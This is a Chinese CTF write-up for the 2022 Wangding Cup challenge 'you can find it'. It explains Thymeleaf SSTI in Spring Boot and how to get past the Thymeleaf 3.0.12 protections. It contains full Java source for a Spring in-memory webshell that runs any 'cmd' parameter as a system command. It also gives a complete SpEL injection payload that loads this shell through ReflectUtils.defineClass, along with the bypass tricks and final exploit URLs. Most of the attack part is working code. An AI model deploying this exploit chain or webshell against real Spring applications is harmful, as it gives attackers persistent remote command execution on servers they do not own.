Spring通用MemShell改造与Thymeleaf SSTI漏洞利用详解
概述
本文详细分析2022年网鼎杯玄武组CTF题目"you can find it"的解题思路,重点讲解Thymeleaf SSTI漏洞原理、绕过技巧以及Spring通用内存马(MemShell)的改造过程。题目提供了一个findIT.jar文件,环境为不出网环境,主要考察以下技术点:
- Thymeleaf SSTI漏洞原理
- Thymeleaf SSTI漏洞修复绕过技巧
- Spring内存马编写
- Apache Tomcat 9 URL特殊字符处理与替代
- JAR文件调试技术
一、Thymeleaf SSTI漏洞及绕过
漏洞发现
题目中的SpringBoot项目存在两个关键路由:
/path路由:虽然Fragment可控可能存在SPEL注入,但使用了@ResponseBody注解,不存在漏洞/doc/{data}路由:未使用@ResponseBody注解,存在注入可能
初始Payload尝试
尝试直接执行命令:
http://127.0.0.1:8080/doc/__${T(java.lang.Runtime).getRuntime().exec("id")}__::.x
返回错误:
View name is an executable expression, and it is present in a literal manner in request path or parameters, which is forbidden for security reasons.
Thymeleaf 3.0.12安全机制
该版本做了两处安全提升:
- 禁止在URL路径或参数中直接使用可执行表达式
- 从URL获取视图名称时,如果包含fragment表达式会避免执行
绕过技巧
-
路径分隔符绕过:
/path;/payload//path/payload/path/;/payload(类似Shiro权限绕过)
-
Fragment补全:
需要补全::main.x部分:${T(java.lang.Runtime).getRuntime().exec("id")}::main.x -
T关键字绕过:
在T后添加空格%20绕过检测
最终Payload结构
http://127.0.0.1:8080/doc/;/__${T%20(java.lang.Runtime).getRuntime().exec("id")}__::main.x
二、Spring通用回显内存马改造
由于环境不出网且无回显,需要注入内存马实现回显。
原始内存马问题
参考的Spring Cloud Function内存马payload使用了org.springframework.web.reactive.HandlerMapping,但题目环境没有该组件,导致报错。
改造思路
使用registerMapping注册路径为/*的RequestMapping:
public void registerMapping(T mapping, Object handler, Method method) {
if (this.logger.isTraceEnabled()) {
this.logger.trace("Register \"" + mapping + "\" to " + method.toGenericString());
}
this.mappingRegistry.register(mapping, handler, method);
}
改造后代码
public class SpringRequestMappingMemshell {
public static String doInject(Object requestMappingHandlerMapping) {
String msg = "inject-start";
try {
Method registerMapping = requestMappingHandlerMapping.getClass().getMethod(
"registerMapping", Object.class, Object.class, Method.class);
registerMapping.setAccessible(true);
Method executeCommand = SpringRequestMappingMemshell.class.getDeclaredMethod(
"executeCommand", String.class);
PatternsRequestCondition patternsRequestCondition = new PatternsRequestCondition("/*");
RequestMethodsRequestCondition methodsRequestCondition = new RequestMethodsRequestCondition();
RequestMappingInfo requestMappingInfo = new RequestMappingInfo(
patternsRequestCondition, methodsRequestCondition, null, null, null, null, null);
registerMapping.invoke(requestMappingHandlerMapping,
requestMappingInfo, new SpringRequestMappingMemshell(), executeCommand);
msg = "inject-success";
} catch (Exception e) {
e.printStackTrace();
msg = "inject-error";
}
return msg;
}
public ResponseEntity executeCommand(@RequestParam(value = "cmd") String cmd) throws IOException {
String execResult = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream())
.useDelimiter("\\A").next();
return new ResponseEntity(execResult, HttpStatus.OK);
}
}
三、利用SPEL漏洞加载恶意类
使用org.springframework.cglib.core.ReflectUtils#defineClass方法加载恶意类:
T (org.springframework.cglib.core.ReflectUtils).defineClass(
"SpringRequestMappingMemshell",
T (org.springframework.util.Base64Utils).decodeFromUrlSafeString("Base64编码的类字节码"),
new javax.management.loading.MLet(new java.net.URL[0],
T (java.lang.Thread).currentThread().getContextClassLoader())
).doInject(
T (org.springframework.web.context.request.RequestContextHolder)
.currentRequestAttributes()
.getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0)
.getBean(T (Class).forName(
"org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping"))
)
四、Apache Tomcat 9 URL特殊字符处理
问题1:斜杠(/)字符
Payload中的/会被Tomcat解析为路径分隔符,导致404错误。直接编码为%2F会导致400错误。
解决方案:
使用org.springframework.util.Base64Utils.encodeToUrlSafeString处理类字节码,生成URL安全的Base64编码。
问题2:方括号([])字符
Payload中的[]需要URL编码:
[→%5B]→%5D
替代方案:
可以用java.net.URL("http","127.0.0.1","1.txt")替代java.net.URL[0]
五、Thymeleaf过滤new关键字处理
Thymeleaf 3.0.12的containsSpELInstantiationOrStatic方法会过滤new关键字。
绕过技巧:
使用大小写混合形式NeW或nEw绕过检测。
六、完整利用Payload
__${T (org.springframework.cglib.core.ReflectUtils).defineClass(
"SpringRequestMappingMemshell",
T (org.springframework.util.Base64Utils).decodeFromUrlSafeString("Base64编码"),
nEw javax.management.loading.MLet(
NeW java.net.URL("http","127.0.0.1","1.txt"),
T (java.lang.Thread).currentThread().getContextClassLoader()
)
).doInject(
T (org.springframework.web.context.request.RequestContextHolder)
.currentRequestAttributes()
.getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0)
.getBean(T (Class).forName(
"org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping"))
)}__::main.x
注入成功后,访问任意路径并添加cmd参数即可执行命令:
http://127.0.0.1:8080/任意路径?cmd=whoami
七、总结
本题涉及的关键技术点:
- Thymeleaf SSTI漏洞:理解视图解析机制和表达式执行流程
- 安全机制绕过:路径分隔符、T关键字、new关键字等绕过技巧
- 内存马改造:根据环境适配不同的注册方式
- 特殊字符处理:Tomcat对URL的特殊字符处理规则
- 类加载技巧:使用ReflectUtils动态加载恶意类
通过这道题目,可以深入理解Spring框架的安全机制和绕过技巧,以及内存马的灵活运用。